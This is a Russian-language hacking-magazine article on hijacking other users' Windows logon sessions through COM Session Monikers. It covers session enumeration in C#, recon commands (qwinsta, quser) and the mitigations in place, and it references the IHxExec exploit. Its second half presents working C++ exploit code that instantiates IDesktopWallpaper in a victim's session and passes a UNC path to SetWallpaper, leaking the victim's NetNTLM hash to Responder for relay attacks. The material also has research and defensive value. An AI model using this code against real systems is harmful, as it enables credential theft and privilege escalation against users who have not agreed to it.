В Windows каж­дому поль­зовате­лю при вхо­де на устрой­ство при­писы­вает­ся своя сес­сия. Как угнать сес­сию поль­зовате­ля, если жер­тва решила зай­ти на уже взло­ман­ное устрой­ство? В этой статье поз­накомим­ся еще с одним спо­собом повыше­ния при­виле­гий — через кра­жу сес­сий с помощью COM-клас­сов.

Дав­ным‑дав­но, ког­да небо было голубее, деревья зеленее, а чай сла­ще, я писал статью «Пос­тавщик небезо­пас­ности. Как Windows рас­кры­вает пароль поль­зовате­ля». В ней мы под­робно рас­смот­рели этап вхо­да поль­зовате­ля в сис­тему, начиная от при­зем­ления пятой точ­ки за компь­ютер в офи­се и закан­чивая получе­нием дос­тупа к рабоче­му сто­лу.

Впро­чем, в той статье я перечис­лил далеко не все спо­собы воз­дей­ствия на поль­зовате­ля. Сущес­тву­ет еще одна ата­ка — кра­жа сес­сии. И осу­щес­твим мы ее с помощью COM!

Logon Sessions

Итак, нач­нем с неболь­шого лик­беза. Logon Session (она же прос­то сес­сия) — это как куки бра­узе­ра. Впол­не понят­ная вещица, по которой сис­тема может однознач­но опре­делить, какой поль­зователь к ней обра­щает­ся.

От­лича­ются сес­сии по уни­каль­ному номеру, имя ему LUID (Locally Unique IDentifier). Собс­твен­но, это все, что нуж­но Windows для иден­тифика­ции сес­сии поль­зовате­ля.

typedef struct _LUID {
ULONG LowPart;
LONG HighPart;
} LUID, *PLUID;

Изу­чить сущес­тву­ющие Logon-сес­сии мож­но через API LsaEnumerateLogonSessions().

Я дос­таточ­но под­робно опи­сывал эту фун­кцию и ее исполь­зование в статье про GIUDA. Для раз­нооб­разия перепи­шем на C#.

using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
class Program
{
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaEnumerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList);
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData);
[DllImport("Secur32.dll")]
private static extern uint LsaFreeReturnBuffer(IntPtr buffer);
[StructLayout(LayoutKind.Sequential)]
private struct LSA_UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_LOGON_SESSION_DATA
{
public uint Size;
public LUID LogonId;
public LSA_UNICODE_STRING UserName;
public LSA_UNICODE_STRING LogonDomain;
public LSA_UNICODE_STRING AuthenticationPackage;
public uint LogonType;
public uint Session;
public IntPtr Sid;
public long LogonTime;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private static string GetString(LSA_UNICODE_STRING unicodeString)
{
return Marshal.PtrToStringUni(unicodeString.Buffer);
}
static void Main()
{
var result = LsaEnumerateLogonSessions(out var count, out var luidPtr);
if (result != 0)
{
Console.WriteLine("LsaEnumerateLogonSessions failed");
return;
}
var iter = luidPtr;
for (ulong i = 0; i < count; i++)
{
result = LsaGetLogonSessionData(iter, out var sessionDataPtr);
if (result == 0)
{
var sessionData = Marshal.PtrToStructure<SECURITY_LOGON_SESSION_DATA>(sessionDataPtr);
var userName = GetString(sessionData.UserName);
var domainName = GetString(sessionData.LogonDomain);
Console.WriteLine($"UserName: {userName}");
Console.WriteLine($"LogonDomain: {domainName}");
Console.WriteLine("---------------------------");
LsaFreeReturnBuffer(sessionDataPtr);
}
iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID)));
}
LsaFreeReturnBuffer(luidPtr);
}
}
Пример работы программы
При­мер работы прог­раммы

Ви­дим стан­дар­тный импорт необ­ходимых фун­кций через PInvoke с пос­леду­ющим вызовом в опре­делен­ном поряд­ке.

По­лучить спи­сок сес­сий с устрой­ства мож­но и уда­лен­но, здесь нам помогут фун­кции NetSessionEnum() и NetrSessionEnum(). При­мер исполь­зования можешь пос­мотреть, нап­ример, на гит­хабе trustedsec.

Так­же мож­но вос­поль­зовать­ся инс­тру­мен­том netview.py.

Получение списка сессий удаленно
По­луче­ние спис­ка сес­сий уда­лен­но

На­конец, помочь смо­гут встро­енные инс­тру­мен­ты коман­дной стро­ки.

qwinsta
# Если удаленно, то quser.exe
quser.exe /server:dc01.office.corp
Использование qwinsta
Ис­поль­зование qwinsta

Ко­неч­но же, есть и дру­гие вари­анты поис­ка сес­сий целево­го поль­зовате­ля: сюда вхо­дят и Invoke-UserHunter от PowerView, и бес­конеч­ные ана­логи на С#, все рас­писывать ни одной статьи не хва­тит. Поэто­му закон­чим с реконом и перей­дем к собс­твен­но уго­ну.

www

Ес­ли база у тебя хро­мает, советую изу­чить труд Джа­реда Эткинсо­на на эту тему, в осо­бен­ности час­ти 12 и 13.

Session Moniker

Ана­логич­но Elevation Moniker в Windows сущес­тву­ет моникер и для сес­сий. Напом­ню, моникер — стро­ковая реп­резен­тация COM-объ­екта. Так вот, сес­сион­ный моникер может исполь­зовать­ся для инстан­цирова­ния COM-клас­са в кон­крет­ной сес­сии.

Нап­ример, если у нас есть COM-класс, один из методов которо­го поз­воля­ет выпол­нять коман­ды, то, инстан­цировав этот COM-класс внут­ри сес­сии дру­гого поль­зовате­ля через Session Moniker, мы зах­ватим сес­сию это­го поль­зовате­ля.

Впро­чем, не все так прос­то — в Microsoft наложи­ли опре­делен­ные огра­ниче­ния, но с ними поз­накомим­ся чуть поз­же. Сна­чала пред­лагаю разоб­рать­ся с прин­ципом работы Session Moniker. И сде­лаем это с помощью слай­дов Джей­мса Фор­шоу.

Итак, есть нес­коль­ко объ­ектов.

Начальное состояние системы
На­чаль­ное сос­тояние сис­темы

Есть сес­сия поль­зовате­ля Alice (мы сидим в ней), есть сес­сия поль­зовате­ля Bob (ее будем зах­ватывать). Так­же есть RPCSS — спе­циаль­ная служ­ба, отве­чающая за акти­вацию СОМ‑объ­ектов.

Зап­рашива­ем акти­вацию COM-объ­екта в сес­сии Боба.

Запрос активации
Зап­рос акти­вации

Этот зап­рос попада­ет в служ­бу RPCSS потому, что акти­ваци­ей COM-объ­ектов управля­ет SCM. Затем служ­ба RPCSS видит, что исполь­зует­ся Session Moniker, обна­ружи­вает сес­сию Боба и соз­дает COM-объ­ект внут­ри нее.

Активация
Ак­тивация

Пос­ле успешной акти­вации COM-объ­екта кли­ент (мы в сес­сии 1) получит ука­затель на интерфейс это­го COM-объ­екта и смо­жет с ним вза­имо­дей­ство­вать, нап­ример выз­вать метод для исполне­ния коман­ды.

Возврат указателя на интерфейс
Воз­врат ука­зате­ля на интерфейс

Для исполь­зования сес­сион­ного монике­ра дос­таточ­но под­готовить стро­ку сле­дующе­го вида:

"Session:[digits]!clsid:[class id]"

Здесь digits — это номер сес­сии, в которой запус­кать COM-класс, иден­тифици­рующий­ся по CLSID из поля class id.

С помощью этой фун­кции мож­но соз­давать COM-объ­екты в чужой сес­сии.

HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid , REFIID riid , void ** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID [50];
WCHAR wszMonikerName [300];
StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf (wszMonikerName , _countof(wszMonikerName ),
L"session:%d!new:%s" , session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER ;
return CoGetObject (wszMonikerName , &bo, riid, ppv);
}

Ка­жет­ся, если бы кто угод­но мог инстан­цировать COM-клас­сы через Session Moniker в чужих сес­сиях, это была бы брешь в обо­роне Windows. Получа­ется горизон­таль­ное повыше­ние при­виле­гий (вер­тикаль­ное — если есть сес­сия адми­нис­тра­тора).

Не все так пло­хо. Далеко не всег­да получит­ся инстан­цировать COM-класс в сес­сии целево­го поль­зовате­ля через Session Moniker. Нуж­но, что­бы целевой COM-класс был зарегис­три­рован на запуск от лица инте­рак­тивно­го поль­зовате­ля. Это зна­чение ука­зыва­ется в отдель­ном клю­че реес­тра RunAs. Если зна­чение пус­тое либо ука­зан запус­тивший поль­зователь, сис­тема или сер­вис, то Session Moniker не сра­бота­ет. Извлечь спи­сок всех объ­ектов удоб­но с помощью инс­тру­мен­та Checker. Он сге­нери­рует отчет в фор­мате CSV (или XLSX по желанию), пос­ле чего оста­нет­ся лишь при­менить филь­тр по необ­ходимо­му полю.

Поиск нужных объектов
По­иск нуж­ных объ­ектов

За­тем огра­ниче­ния нак­ладыва­ются в сле­дующем при­ори­тете. Никаких офи­циаль­ных наз­ваний им нет, либо мне они нез­накомы.

  1. SeDebug — если у тебя есть SeDebug, то можешь сме­ло зах­ватывать чужие сес­сии, нап­ример через IHxExec.
  2. Патч от CVE-2024-38100 (FakePotato) — если у тебя нет прав локаль­ного адми­на, ты не смо­жешь инстан­цировать инте­рак­тивные (поле RunAs рав­но The Interactive User) COM-объ­екты внут­ри про­цес­са explorer.exe. Фак­тичес­ки здесь прос­то испра­вили Access Permissions. Если у тебя нет этих прав на про­цесс, то получить дос­туп к работа­ющим внут­ри него COM-объ­ектам ты не смо­жешь. Если Access Permissions не опре­деле­ны для кон­крет­ного AppID, то исполь­зуют­ся дефол­тные. Прос­мотреть пра­ва мож­но с помощью инс­тру­мен­та OleViewDotNet.

    Список процессов с работающими COM-объектами
    Спи­сок про­цес­сов с работа­ющи­ми COM-объ­екта­ми
    Список работающих объектов внутри процесса
    Спи­сок работа­ющих объ­ектов внут­ри про­цес­са
    Дефолтные права на процесс
    Де­фол­тные пра­ва на про­цесс
  3. Патч от EOP Session Moniker. Воз­можнос­ти сес­сион­ных монике­ров извес­тны уже дав­но, но их экс­плу­ата­ция не осо­бен­но популяр­на. Как толь­ко безопас­ники начали их ресер­чить, то прак­тичес­ки сра­зу же появил­ся экс­пло­ит, поз­воля­ющий запус­тить опре­делен­ный объ­ект внут­ри чужой сес­сии, что при­води­ло к повыше­нию при­виле­гий. Фикс зак­лючал­ся в добав­лении про­вер­ки на уро­вень целос­тнос­ти перед обра­щени­ем к объ­екту. Если к объ­екту в чужой сес­сии пыта­ются обра­тить­ся из про­цес­са со сред­ним уров­нем целос­тнос­ти, дос­туп бло­киру­ется.

Запуск процесса в чужой сессии

Итак, пред­лагаю обра­тить­ся к экс­пло­иту IHxExec. Он поз­воля­ет запус­тить исполня­емый файл внут­ри чужой сес­сии. Сущес­тву­ет так­же реали­зация на C# и PowerShell, ищи ее на GitHub.

Оба вари­анта зло­упот­ребля­ют сес­сион­ными монике­рами для исполне­ния кода. Если у нас есть пра­ва локаль­ного адми­нис­тра­тора (или при­виле­гия SeDebug), то таким обра­зом уда­ется выпол­нить код в сес­сиях дру­гого поль­зовате­ля. Одна­ко на ста­рых сис­темах, которые не обновля­лись года с 2017 года, такой трюк прой­дет и от лица низ­копри­виле­гиро­ван­ного поль­зовате­ля. Под­робный ана­лиз работы экс­пло­ита есть на Medium.

Ес­ли вкрат­це, то идет исполь­зование двух недоку­мен­тирован­ных COM-интерфей­сов, к которым обра­щают­ся и при инстан­цирова­нии сес­сион­ных монике­ров: IStandardActivator и ISpecialSystemProperties. Пер­вый нужен для акти­вации объ­ектов, а у вто­рого есть инте­рес­ный метод SetSessionId() для уста­нов­ки целевой сес­сии, внут­ри которой тре­бует­ся запус­тить COM-объ­ект.

Пример использования эксплоита
При­мер исполь­зования экс­пло­ита

Ви­дим, что экс­пло­ит успешно инстан­циру­ет необ­ходимый COM-объ­ект, и мы получа­ем воз­можность запус­ка про­изволь­ного фай­ла внут­ри чужой сес­сии.

Утечка хеша пароля при смене обоев

Дру­гой экс­пло­ит вышел сов­сем недав­но, он так­же осно­ван на зло­упот­ребле­нии сес­сион­ными монике­рами, но теперь инстан­циру­емый COM-объ­ект поз­воля­ет не запус­тить про­цесс, а сме­нить обои. Казалось бы, где тут уяз­вимость? Но сто­ит вспом­нить статью Эла­да Шамира, в которой NetNTLM-хеш компь­юте­ра извле­кали через фун­кцию изме­нения обо­ев. Я подумал: а что, если инстан­цировать инте­рак­тивный COM-объ­ект внут­ри чужой сес­сии, затем выз­вать метод сме­ны обо­ев и ука­зать UNC Path для получе­ния NetNTLM-хеша?

Идея дол­го не давала мне спать, и однажды, ког­да в бло­ге decoder.cloud выш­ла одна под­сказ­ка, у меня получи­лось обна­ружить подоб­ный COM-объ­ект.

Обнаруженный объект
Об­наружен­ный объ­ект

У объ­екта был интерфейс IDesktopWallpaper с под­ходящим по логике методом SetWallpaper().

HRESULT SetWallpaper(
[in] LPCWSTR monitorID,
[in] LPCWSTR wallpaper
);

Пер­вым аргу­мен­том сле­дует переда­вать иден­тифика­тор монито­ра, на который уста­нав­лива­ются обои, вто­рым — путь к обо­ям. Собс­твен­но, ука­зание UNC Path во вто­ром аргу­мен­те при­ведет к утеч­ке NetNTLM-хеша. Одна­ко отку­да получить иден­тифика­тор монито­ра?

Сам MSDN нам любез­но под­ска­зыва­ет, что мож­но вос­поль­зовать­ся методом GetMonitorDevicePathAt(), этот метод, в свою оче­редь, тре­бует для вызова параметр monitorIndex, который мож­но получить через GetMonitorDevicePathCount().

Так выс­тра­ивает­ся цепоч­ка‑кил­лчейн:

При этом для утеч­ки NetNTLM-хеша нуж­ного поль­зовате­ля сле­дует инстан­цировать COM-класс по управле­нию обо­ями внут­ри чужой сес­сии. Это дела­ется с помощью фун­кции CoCreateInstanceInSession().

HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf(wszMonikerName, _countof(wszMonikerName),
L"session:%d!new:%s", session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
...
IDesktopWallpaper* pDesktopWallpaper = nullptr;
hr = CoCreateInstanceInSession(session, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);
if (FAILED(hr)) {
std::wcerr << L"CoCreateInstanceInSession failed with error: " << hr << std::endl;
CoUninitialize();
return 1;
}

Пос­ле успешно­го инстан­цирова­ния мож­но обра­щать­ся к методам COM-клас­са.

UINT monitorCount;
hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathCount failed with error: " << hr << std::endl;
pDesktopWallpaper->Release();
CoUninitialize();
return 1;
}
for (UINT i = 0; i < monitorCount; i++) {
LPWSTR monitorId;
hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathAt failed with error: " << hr << std::endl;
continue;
}
hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath);
std::wcout << L"[+] Check Responder" << std::endl;
CoTaskMemFree(monitorId);
}
Успешная утечка хеша
Ус­пешная утеч­ка хеша

Та­ким обра­зом, если получа­ется про­вер­нуть утеч­ку хеша, то мож­но пой­ти даль­ше и при­менить Relay-ата­ку. О них «Хакер» уже писал в статье «Гид по NTLM Relay» (часть 1, часть 2).

Выводы

Вновь пло­хо докумен­тирован­ные воз­можнос­ти Windows поз­воля­ют ата­кующим про­водить инте­рес­ные и кра­сивые ата­ки. Самое слож­ное — най­ти ту игол­ку в сто­ге сена, которая поз­волит рас­кру­тить всё до пол­ноцен­ного экс­пло­ита!